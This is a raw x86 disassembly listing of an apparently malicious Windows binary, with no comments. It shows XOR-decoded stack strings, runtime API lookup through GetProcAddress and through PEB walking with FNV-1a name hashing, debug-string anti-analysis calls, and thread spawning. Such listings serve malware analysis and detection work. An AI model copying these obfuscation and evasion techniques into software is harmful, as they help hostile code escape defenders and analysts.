mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x170]
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x7f8]
mov dword [ebp - 0x4a4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x4b0]
movaps xmmword [ebp - 0x170], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x170]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a65b3
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x7f8]
call fcn.00410090
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x7e0]
lea ecx, [ebp - 0x8d0]
push eax
push ecx
lea ecx, [ebp - 0x968]
call fcn.004a8920
mov byte [ebp - 4], 0x6c
lea eax, [ebp - 0x8d0]
push fcn.0040fc90
push 0xa
push 0x18
push eax
call fcn.005083f5
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0x968]
call fcn.004b0ef0
test eax, eax
je 0x4a6764
mov dword [ebp - 0x28], 0x61bba17b
mov dword [ebp - 0x24], 0x882986d3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x28], 0x267d3e27
mov dword [ebp - 0x24], 0x904c6342
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x28], 0x4fbfd874
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x360]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x620]
vmovdqa ymmword [ebp - 0x360], ymm0
push 0x56a618
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x360]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4a6764
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.5445dfg
call esi
call fcn.00438630
call fcn.004386d0
call fcn.00438770
call fcn.00438810
cmp byte [0x58d060], 1
jne 0x4a6ece
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x942398fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x28], 0x76762f23
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b8], eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x4b4], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x4c0]
pxor xmm1, xmmword [ebp - 0x200]
push eax
movaps xmmword [ebp - 0x200], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x5e]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x5e]
mov byte [0x58ab3b], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0xe6279ffe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4c8], eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x4c4], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x4d0]
pxor xmm1, xmmword [ebp - 0x210]
push eax
movaps xmmword [ebp - 0x210], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x5f]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x5f]
mov byte [0x58ab55], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0xe6338ffe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x4d8], eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x4d4], ecx
mov ecx, 0x58d060
pxor xmm1, xmmword [ebp - 0x4e0]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x60]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x60]
mov byte [0x58ab3a], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x8a219cfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x28], 0x56c2f2a
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4e8], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x4e4], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x4f0]
pxor xmm1, xmmword [ebp - 0x230]
push eax
movaps xmmword [ebp - 0x230], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x61]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x61]
mov byte [0x58ab39], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x8f2882fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28], 0x4773e35
mov dword [ebp - 0x24], 0xf52f0c49
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x4f8], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x4f4], ecx
mov ecx, 0x58d060
pxor xmm1, xmmword [ebp - 0x500]
push eax
movaps xmmword [ebp - 0x240], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x62]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x62]
mov byte [0x58ab54], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x96348dfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x508], eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x504], ecx
mov ecx, 0x58d060
pxor xmm1, xmmword [ebp - 0x510]
push eax
movaps xmmword [ebp - 0x250], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x63]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x63]
mov byte [0x58ab56], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x8b218cfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x28], 0x76183923
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x51c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
movaps xmm1, xmmword [ebp - 0x520]
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x260], xmm1
lea eax, [ebp - 0x260]
mov ecx, 0x58d060
push eax
call fcn.004b04b0
lea edx, [ebp - 0x64]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x64]
mov byte [0x58ab38], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x952586fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x28], 0x11762f35
mov dword [ebp - 0x24], 0xf55c7e55
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x528], eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x524], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x530]
pxor xmm1, xmmword [ebp - 0x270]
push eax
movaps xmmword [ebp - 0x270], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x65]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x65]
mov byte [0x58ab58], al
mov dword [ebp - 0x28], 0x668ea752
mov dword [ebp - 0x24], 0x88309dfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x538], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x534], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x540]
pxor xmm1, xmmword [ebp - 0x280]
push eax
movaps xmmword [ebp - 0x280], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x66]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x66]
mov byte [0x58ab57], al
mov dword [ebp - 0x28], 0x5b8aa640
mov dword [ebp - 0x24], 0x852e9dc9
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x548], eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0x544], ecx
mov ecx, 0x58d060
movaps xmm1, xmmword [ebp - 0x550]
pxor xmm1, xmmword [ebp - 0x290]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.004b04b0
lea edx, [ebp - 0x67]
mov ecx, eax
call fcn.004c1d60
mov al, byte [ebp - 0x67]
mov byte [0x58cf56], al
jmp 0x4a6ed3
mov al, byte [0x58cf56]
cmp byte [0x58cf57], 0
jne 0x4a83fc
call fcn.00477370
call fcn.0047d750
push str.5yh45
call esi
mov ecx, 0x58d018
call fcn.004a8ea0
mov ecx, 0x58d0ac
call fcn.004a8ea0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x47eae0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4817e0
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
push 0
push 0
push 0
push 0x494b40
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
mov dword [ebp - 0x70], eax
call fcn.0045e870
test al, al
je 0x4a7144
lea ecx, [ebp - 0x6f8]
call fcn.0045eef0
mov esi, eax
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x28], 0x6d88ba59
mov dword [ebp - 0x24], 0xe64098cf
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2a0], ecx
mov dword [ebp - 0x29c], edx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x558], eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x554], ecx
mov ecx, esi
movaps xmm1, xmmword [ebp - 0x560]
pxor xmm1, xmmword [ebp - 0x2a0]
push eax
movaps xmmword [ebp - 0x2a0], xmm1
call fcn.004b04b0
push eax
lea ecx, [ebp - 0xa0]
call fcn.004a99a0
mov byte [ebp - 4], 0x6e
mov dword [ebp - 0x28], 0x689ab463
mov dword [ebp - 0x24], 0xa309b4d5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x568], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x564], ecx
mov ecx, 0x58d0c8
pxor xmm1, xmmword [ebp - 0x570]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.004b04b0
mov edi, eax
mov byte [ebp - 4], 0x6f
mov dl, byte [edi]
mov cl, byte [ebp - 0xa0]
mov byte [edi], cl
mov byte [ebp - 0xa0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], esi
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x98]
push dword [ebp - 0xa0]
call fcn.004ad380
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x6f0]
push dword [ebp - 0x6f8]
call fcn.004ad380
cmp byte [0x58cf55], 0
je 0x4a7144
mov eax, dword [0x58cf40]
test eax, eax
je 0x4a713d
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x58cf55], 0
lea ecx, [ebp - 0x708]
call fcn.00460d90
mov esi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x28], 0x6d88ba59
mov dword [ebp - 0x24], 0xe64098cf
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x578], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x574], ecx
mov ecx, esi
movaps xmm1, xmmword [ebp - 0x580]
pxor xmm1, xmmword [ebp - 0x2c0]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.004b04b0
push eax
lea ecx, [ebp - 0xb0]
call fcn.004a99a0
mov byte [ebp - 4], 0x71
mov dword [ebp - 0x28], 0x6081bc62
mov dword [ebp - 0x24], 0xa5339cce
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x28], 0x137c2f34
mov dword [ebp - 0x24], 0x9446785e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x28], 0x4fbfd86b
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov ecx, 0x58d0c8
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x628], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x624], edx
vmovdqu ymm0, ymmword [ebp - 0x640]
vpxor ymm0, ymm0, ymmword [ebp - 0x380]
vmovdqa ymmword [ebp - 0x380], ymm0
push eax
vzeroupper
call fcn.004b04b0
mov edi, eax
mov byte [ebp - 4], 0x72
mov dl, byte [edi]
mov cl, byte [ebp - 0xb0]
mov byte [edi], cl
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov byte [ebp - 0xb0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], esi
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0xa8]
push dword [ebp - 0xb0]
call fcn.004ad380
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x700]
push dword [ebp - 0x708]
call fcn.004ad380
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a7417
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7417
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a740d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a73f0
cmp esi, 0x71948ca4
je 0x4a741b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a73d5
mov eax, dword [eax]
jmp 0x4a73a5
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x7c
push 0xc7ae1e0b
call fcn.00416520
add esp, 8
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a74d7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a74d7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a74cd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a74b0
cmp esi, 0x71948ca4
je 0x4a74db
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7493
mov eax, dword [eax]
jmp 0x4a7463
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a757f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a757f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7575
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7558
cmp esi, 0xfaba0065
je 0x4a7583
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7540
mov eax, dword [eax]
jmp 0x4a7510
